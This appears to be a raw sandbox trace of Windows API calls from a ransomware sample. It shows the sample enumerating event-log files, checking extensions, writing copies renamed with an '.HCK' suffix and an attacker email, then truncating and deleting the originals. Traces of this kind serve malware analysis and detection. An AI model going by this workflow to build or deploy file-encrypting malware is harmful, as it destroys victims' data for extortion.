[0155.106] lstrlenW (lpString=".jpg") returned 4 [0155.106] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0155.106] lstrcmpiW (lpString1=".evtx", lpString2=".HCK") returned -1 [0155.106] lstrlenW (lpString="Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 41 [0155.106] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0155.106] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=69632) returned 1 [0155.106] CloseHandle (hObject=0x384) returned 1 [0155.106] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx")) returned 0x20 [0155.106] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0155.106] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0155.106] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.106] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.106] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0155.107] GetLastError () returned 0x0 [0155.107] ReadFile (in: hFile=0x384, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x11000, lpOverlapped=0x0) returned 1 [0155.109] WriteFile (in: hFile=0x390, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0x11010, lpOverlapped=0x0) returned 1 [0155.111] ReadFile (in: hFile=0x384, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0155.111] WriteFile (in: hFile=0x390, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0x126, lpOverlapped=0x0) returned 1 [0155.111] SetEndOfFile (hFile=0x390) returned 1 [0155.111] CloseHandle (hObject=0x390) returned 1 [0155.113] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.113] SetEndOfFile (hFile=0x384) returned 1 [0155.114] CloseHandle (hObject=0x384) returned 1 [0155.114] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0155.114] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx")) returned 1 [0155.115] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0155.115] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0155.115] lstrlenW (lpString=".doc") returned 4 [0155.115] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0155.115] lstrlenW (lpString=".docx") returned 5 [0155.115] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0155.115] lstrlenW (lpString=".pdf") returned 4 [0155.115] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0155.115] lstrlenW (lpString=".xls") returned 4 [0155.115] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0155.115] lstrlenW (lpString=".xlsx") returned 5 [0155.115] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0155.115] lstrlenW (lpString=".ppt") returned 4 [0155.115] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0155.115] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0155.115] lstrlenW (lpString=".zip") returned 4 [0155.115] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0155.115] lstrlenW (lpString=".rar") returned 4 [0155.115] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0155.115] lstrlenW (lpString=".bz2") returned 4 [0155.115] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0155.115] lstrlenW (lpString=".7z") returned 3 [0155.115] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0155.115] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0155.115] lstrlenW (lpString=".dbf") returned 4 [0155.115] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0155.115] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0155.115] lstrlenW (lpString=".1cd") returned 4 [0155.115] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0155.115] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0155.115] lstrlenW (lpString=".jpg") returned 4 [0155.115] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0155.115] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0155.115] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0155.115] lstrlenW (lpString=".doc") returned 4 [0155.115] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0155.115] lstrlenW (lpString=".docx") returned 5 [0155.115] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0155.115] lstrlenW (lpString=".pdf") returned 4 [0155.115] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0155.115] lstrlenW (lpString=".xls") returned 4 [0155.115] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0155.115] lstrlenW (lpString=".xlsx") returned 5 [0155.116] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0155.116] lstrlenW (lpString=".ppt") returned 4 [0155.116] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0155.116] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0155.116] lstrlenW (lpString=".zip") returned 4 [0155.116] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0155.116] lstrlenW (lpString=".rar") returned 4 [0155.116] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0155.116] lstrlenW (lpString=".bz2") returned 4 [0155.116] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0155.116] lstrlenW (lpString=".7z") returned 3 [0155.116] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0155.116] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0155.116] lstrlenW (lpString=".dbf") returned 4 [0155.116] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0155.116] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0155.116] lstrlenW (lpString=".1cd") returned 4 [0155.116] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0155.116] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0155.116] lstrlenW (lpString=".jpg") returned 4 [0155.116] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0155.116] lstrcmpiW (lpString1=".evtx", lpString2=".HCK") returned -1 [0155.116] lstrlenW (lpString="Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 43 [0155.116] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0155.116] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=69632) returned 1 [0155.116] CloseHandle (hObject=0x384) returned 1 [0155.116] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx")) returned 0x20 [0155.116] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0155.116] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0155.117] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.117] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.117] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0155.117] GetLastError () returned 0x0 [0155.117] ReadFile (in: hFile=0x384, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x11000, lpOverlapped=0x0) returned 1 [0155.473] WriteFile (in: hFile=0x390, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0x11010, lpOverlapped=0x0) returned 1 [0155.474] ReadFile (in: hFile=0x384, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0155.474] WriteFile (in: hFile=0x390, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0x12a, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0x12a, lpOverlapped=0x0) returned 1 [0155.475] SetEndOfFile (hFile=0x390) returned 1 [0155.997] CloseHandle (hObject=0x390) returned 1 [0156.028] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.028] SetEndOfFile (hFile=0x384) returned 1 [0156.029] CloseHandle (hObject=0x384) returned 1 [0156.029] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0156.029] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx")) returned 1 [0156.211] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0156.211] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0156.211] lstrlenW (lpString=".doc") returned 4 [0156.211] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0156.211] lstrlenW (lpString=".docx") returned 5 [0156.211] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0156.216] lstrlenW (lpString=".pdf") returned 4 [0156.216] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0156.216] lstrlenW (lpString=".xls") returned 4 [0156.216] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0156.216] lstrlenW (lpString=".xlsx") returned 5 [0156.216] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0156.216] lstrlenW (lpString=".ppt") returned 4 [0156.216] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0156.221] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0156.221] lstrlenW (lpString=".zip") returned 4 [0156.221] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0156.221] lstrlenW (lpString=".rar") returned 4 [0156.221] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0156.221] lstrlenW (lpString=".bz2") returned 4 [0156.221] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0156.222] lstrlenW (lpString=".7z") returned 3 [0156.222] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0156.226] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0156.226] lstrlenW (lpString=".dbf") returned 4 [0156.226] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0156.226] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0156.226] lstrlenW (lpString=".1cd") returned 4 [0156.226] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0156.226] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0156.226] lstrlenW (lpString=".jpg") returned 4 [0156.230] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0156.231] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0156.231] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0156.231] lstrlenW (lpString=".doc") returned 4 [0156.231] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0156.231] lstrlenW (lpString=".docx") returned 5 [0156.231] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0156.231] lstrlenW (lpString=".pdf") returned 4 [0156.231] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0156.236] lstrlenW (lpString=".xls") returned 4 [0156.236] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0156.236] lstrlenW (lpString=".xlsx") returned 5 [0156.236] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0156.236] lstrlenW (lpString=".ppt") returned 4 [0156.236] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0156.236] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0156.236] lstrlenW (lpString=".zip") returned 4 [0156.236] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0156.236] lstrlenW (lpString=".rar") returned 4 [0156.236] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0156.236] lstrlenW (lpString=".bz2") returned 4 [0156.236] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0156.236] lstrlenW (lpString=".7z") returned 3 [0156.236] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0156.236] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0156.236] lstrlenW (lpString=".dbf") returned 4 [0156.236] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0156.236] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0156.236] lstrlenW (lpString=".1cd") returned 4 [0156.236] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0156.236] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0156.236] lstrlenW (lpString=".jpg") returned 4 [0156.236] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0156.236] lstrcmpiW (lpString1=".evtx", lpString2=".HCK") returned -1 [0156.236] lstrlenW (lpString="Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 64 [0156.236] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0156.582] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=69632) returned 1 [0156.583] CloseHandle (hObject=0x38c) returned 1 [0156.583] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx")) returned 0x20 [0156.583] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0156.583] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0156.583] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.583] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.583] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0156.583] GetLastError () returned 0x0 [0156.583] ReadFile (in: hFile=0x38c, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x11000, lpOverlapped=0x0) returned 1 [0156.586] WriteFile (in: hFile=0x36c, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0x11010, lpOverlapped=0x0) returned 1 [0156.588] ReadFile (in: hFile=0x38c, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0156.588] WriteFile (in: hFile=0x36c, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0x154, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0x154, lpOverlapped=0x0) returned 1 [0156.588] SetEndOfFile (hFile=0x36c) returned 1 [0156.588] CloseHandle (hObject=0x36c) returned 1 [0156.637] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0156.637] SetEndOfFile (hFile=0x38c) returned 1 [0156.638] CloseHandle (hObject=0x38c) returned 1 [0156.638] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0156.638] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx")) returned 1 [0156.639] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0156.639] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0156.639] lstrlenW (lpString=".doc") returned 4 [0156.639] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0156.639] lstrlenW (lpString=".docx") returned 5 [0156.639] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0156.639] lstrlenW (lpString=".pdf") returned 4 [0156.639] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0156.639] lstrlenW (lpString=".xls") returned 4 [0156.639] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0156.639] lstrlenW (lpString=".xlsx") returned 5 [0156.639] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0156.639] lstrlenW (lpString=".ppt") returned 4 [0156.639] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0156.639] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0156.639] lstrlenW (lpString=".zip") returned 4 [0156.639] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0156.639] lstrlenW (lpString=".rar") returned 4 [0156.639] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0156.639] lstrlenW (lpString=".bz2") returned 4 [0156.639] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0156.639] lstrlenW (lpString=".7z") returned 3 [0156.639] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0156.639] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0156.639] lstrlenW (lpString=".dbf") returned 4 [0156.639] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0156.639] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0156.639] lstrlenW (lpString=".1cd") returned 4 [0156.639] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0156.639] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0156.639] lstrlenW (lpString=".jpg") returned 4 [0156.639] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0156.639] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0156.639] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0156.639] lstrlenW (lpString=".doc") returned 4 [0156.640] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0156.640] lstrlenW (lpString=".docx") returned 5 [0156.640] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0156.640] lstrlenW (lpString=".pdf") returned 4 [0156.640] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0156.640] lstrlenW (lpString=".xls") returned 4 [0156.640] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0156.640] lstrlenW (lpString=".xlsx") returned 5 [0156.640] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0156.640] lstrlenW (lpString=".ppt") returned 4 [0156.640] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0156.640] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0156.640] lstrlenW (lpString=".zip") returned 4 [0156.640] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0156.640] lstrlenW (lpString=".rar") returned 4 [0156.640] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0156.640] lstrlenW (lpString=".bz2") returned 4 [0156.640] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0156.640] lstrlenW (lpString=".7z") returned 3 [0156.640] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0156.640] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0156.640] lstrlenW (lpString=".dbf") returned 4 [0156.640] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0156.640] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0156.640] lstrlenW (lpString=".1cd") returned 4 [0156.640] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0156.640] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0156.640] lstrlenW (lpString=".jpg") returned 4 [0156.640] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0156.640] lstrcmpiW (lpString1=".evtx", lpString2=".HCK") returned -1 [0156.640] lstrlenW (lpString="Microsoft-Windows-SettingSync%4Debug.evtx") returned 41 [0156.640] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0156.641] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=1052672) returned 1 [0156.641] CloseHandle (hObject=0x38c) returned 1 [0156.641] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx")) returned 0x20 [0156.641] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0156.641] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, 